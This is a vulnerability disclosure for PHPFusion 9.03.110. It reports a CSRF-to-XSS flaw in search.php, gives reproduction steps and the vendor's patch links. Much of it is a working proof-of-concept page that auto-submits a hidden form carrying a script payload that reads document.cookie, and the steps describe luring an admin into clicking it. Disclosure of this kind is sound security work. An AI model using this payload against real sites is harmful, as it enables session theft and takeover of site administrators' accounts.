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Bug Description

Hi. I found a CSRF in the search.php in PHPFusion 9.03.110 CMS. This vulnerability allows remote attackers to inject arbitrary web script or HTML.

How to Reproduce

Steps to reproduce the behavior:

1. Create a CSRF POC using the following code.

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>

<head>

<title>Cross Site Request Forgery (Edit Existing Admin details)</title>

</head>

<body onload="javascript:fireForms()">

<script language="JavaScript">

function fireForms()

{

    var count = 2;

    var i=0;

    for(i=0; i<count; i++)

    {

        document.forms[i].submit();

    }

}

</script>

<H2>Cross Site Request Forgery (Edit Existing Admin details)</H2>

<form method="POST" name="form0" action="http://localhost/PHPFusion/search.php">

<input type="hidden" name="stext" value="'><script>alert(document.cookie)</script>'"/>

<input type="hidden" name="form_id" value="advanced_search_form"/>

<input type="hidden" name="method" value="OR"/>

<input type="hidden" name="search" value="Search"/>

<input type="hidden" name="stype" value="all"/>

</form>

</body>

</html>
```

2. Replace the URI to path to PHPFusion folder.
3. Send the link script to the victim (admin) to make them click.
4. The script has been triggered on victim browser.

Server Information



Xampp on Windows 10

PHP Operating System

Windows NT DESKTOP-BDPIT37 10.0 build 18363 (Windows 10) AMD64

PHP Version

PHP Version 7.4.15

Vendor Response

The fixes will be included in next update, patched here:

<https://github.com/PHPFusion/PHPFusion/commit/08d6c2ea49bd06fce32275252f5f25abe61965c> (<https://github.com/PHPFusion/PHPFusion/commit/08d6c2ea49bd06fce32275252f5f25abe61965c>)
<https://github.com/PHPFusion/PHPFusion/commit/fda266c3bb35c650a8c4c51b6923abdfb66ef5cd> (<https://github.com/PHPFusion/PHPFusion/commit/fda266c3bb35c650a8c4c51b6923abdfb66ef5cd>)
<https://github.com/PHPFusion/PHPFusion/commit/1c2b32321cf11ed1cd3ff835f8da0d172c849ce6> (<https://github.com/PHPFusion/PHPFusion/commit/1c2b32321cf11ed1cd3ff835f8da0d172c849ce6>)
<https://github.com/PHPFusion/PHPFusion/commit/da9f89ae70219f357fba6fffd2dae1ec886d8a3b> (<https://github.com/PHPFusion/PHPFusion/commit/da9f89ae70219f357fba6fffd2dae1ec886d8a3b>)

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